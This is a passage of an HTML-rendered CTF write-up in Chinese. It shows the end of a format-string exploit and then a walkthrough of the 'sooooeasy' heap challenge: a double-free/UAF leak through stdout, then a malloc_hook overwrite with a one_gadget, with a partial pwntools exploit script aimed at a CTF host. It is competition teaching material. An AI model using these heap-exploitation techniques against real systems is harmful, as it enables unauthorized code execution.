&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;tell me your name:&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%8$p&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p.recvuntil(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;0x&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(p.recvline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;False&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Give me your lucky number:&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(n))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;__name__ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;__main__&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    main()
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pwn-sooooeasy&quot;&gt;[pwn] sooooeasy&lt;&#x2F;h1&gt;
&lt;p&gt;一道只有增和删的堆题，题目中没有说明&lt;code&gt;libc&lt;&#x2F;code&gt;版本，但是可以用过&lt;code&gt;double free&lt;&#x2F;code&gt;的报错信息通过libc的低十二位查询得到libc版本为&lt;code&gt;2.23-0ubuntu11.2_amd64&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#383838;color:#e6e1dc;&quot;&gt;&lt;code&gt;&lt;span&gt;*** Error in `.&#x2F;easypwn&amp;#39;: double free or corruption (fasttop): 0x0000559fda059040 ***
&lt;&#x2F;span&gt;&lt;span&gt;======= Backtrace: =========
&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc.so.6(+0x777f5)[0x7f2a0416c7f5]
&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc.so.6(+0x8038a)[0x7f2a0417538a]
&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc.so.6(cfree+0x4c)[0x7f2a0417958c]
&lt;&#x2F;span&gt;&lt;span&gt;.&#x2F;easypwn(+0xd44)[0x559fd9b4bd44]
&lt;&#x2F;span&gt;&lt;span&gt;.&#x2F;easypwn(+0xe7c)[0x559fd9b4be7c]
&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc.so.6(__libc_start_main+0xf0)[0x7f2a04115840]
&lt;&#x2F;span&gt;&lt;span&gt;.&#x2F;easypwn(+0x979)[0x559fd9b4b979]
&lt;&#x2F;span&gt;&lt;span&gt;======= Memory map: ========
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;add&lt;&#x2F;code&gt;函数会开两个堆，第一个大小为&lt;code&gt;0x28&lt;&#x2F;code&gt;，第二个为自己指定。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;delete&lt;&#x2F;code&gt;函数会将大小自己指定的那个堆块&lt;code&gt;free&lt;&#x2F;code&gt;，并没有清空指针，存在&lt;code&gt;UAF&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nepctf-wp&#x2F;.&#x2F;sooooeasy.png&quot; alt=&quot;sooooeasy&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;思路为：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;将一个大小为&lt;code&gt;0x70&lt;&#x2F;code&gt;的区块先加入&lt;code&gt;fastbin&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;double free&lt;&#x2F;code&gt;伪造区块，改大的前一个区块的大小，刚好覆盖&lt;code&gt;0x70&lt;&#x2F;code&gt;的区块，并&lt;code&gt;free&lt;&#x2F;code&gt;，然后再将大出来的部分&lt;code&gt;malloc&lt;&#x2F;code&gt;出来，使得&lt;code&gt;0x70&lt;&#x2F;code&gt;的区块刚好在&lt;code&gt;unsorted bin&lt;&#x2F;code&gt;内。此时fd指针为&lt;code&gt;libc&lt;&#x2F;code&gt;内的地址。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;覆盖低地址的&lt;code&gt;16bit&lt;&#x2F;code&gt;，修改fd指针为&lt;code&gt;stdout&lt;&#x2F;code&gt;的地址，使堆块到&lt;code&gt;stdout&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;修改&lt;code&gt;stdout&lt;&#x2F;code&gt;的&lt;code&gt;write_base_ptr&lt;&#x2F;code&gt;的低字节，泄露&lt;code&gt;libc&lt;&#x2F;code&gt;地址&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;double free&lt;&#x2F;code&gt;将区块开到&lt;code&gt;malloc_hook&lt;&#x2F;code&gt;附近，改为&lt;code&gt;one_gadget&lt;&#x2F;code&gt;即可getshell&lt;&#x2F;p&gt;
&lt;p&gt;该方案成功率为&lt;code&gt;1&#x2F;16&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;typing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;Union
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;IdaManage &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.rop &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.util.packing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;flat
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.context &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;context.log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;CRITICAL&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;@connect(
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;remoteAddr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;node2.hackingfor.fun:31125&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;sooooeasy&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;isRemote&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;idaAddr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;192.168.138.1:9945&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;: Union[remote, process], &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;ida&lt;&#x2F;span&gt;&lt;span&gt;: IDAManage, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;elf&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;ELF&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;name_size&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;message&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Your choice : &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;name: &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(name_size))
&lt;&#x2F;span&gt;&lt;span&gt;        p.sendafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Your name:&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,name)
&lt;&#x2F;span&gt;&lt;span&gt;        p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Your message:&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,message)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;delete&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;index&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Your choice : &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;2&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;index:&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(index))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    add(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x60&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 0
&lt;&#x2F;span&gt;&lt;span&gt;    add(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x28&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 1
&lt;&#x2F;span&gt;&lt;span&gt;    add(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x28&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 2
&lt;&#x2F;span&gt;&lt;span&gt;    delete(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    delete(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    delete(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    add(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x28&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 3
&lt;&#x2F;span&gt;&lt;span&gt;    delete(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    add(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x28&lt;&#x2F;span&gt;&lt;span&gt;,flat(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\xd0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 4
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    add(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x90&lt;&#x2F;span&gt;&lt;span&gt;,flat(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x28&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\x71&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 5
&lt;&#x2F;span&gt;&lt;span&gt;    add(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x28&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 6
&lt;&#x2F;span&gt;&lt;span&gt;    delete(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    delete(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    add(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x50&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;flat(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\xdd\x55&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 7  to IO+FILE
&lt;&#x2F;span&gt;&lt;span&gt;    delete(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    add(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x60&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 8
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 9
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Your choice : &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;name: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x60&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Your name:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,flat(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;51&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xfbad1800&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\x40&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;    libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;u64(p.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x7f5f88cb5640&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x7F5F888F0000
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;assert &lt;&#x2F;span&gt;&lt;span&gt;libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xfff&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;    libc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher().prefer(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;2.23-0ubuntu11.2_amd64&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).elf()
&lt;&#x2F;span&gt;&lt;span&gt;    libc.address&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;libc_base
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;hex&lt;&#x2F;span&gt;&lt;span&gt;(libc_base))
&lt;&#x2F;span&gt;&lt;span&gt;    context.log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;debug&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Your message:&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    delete(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    delete(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    delete(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
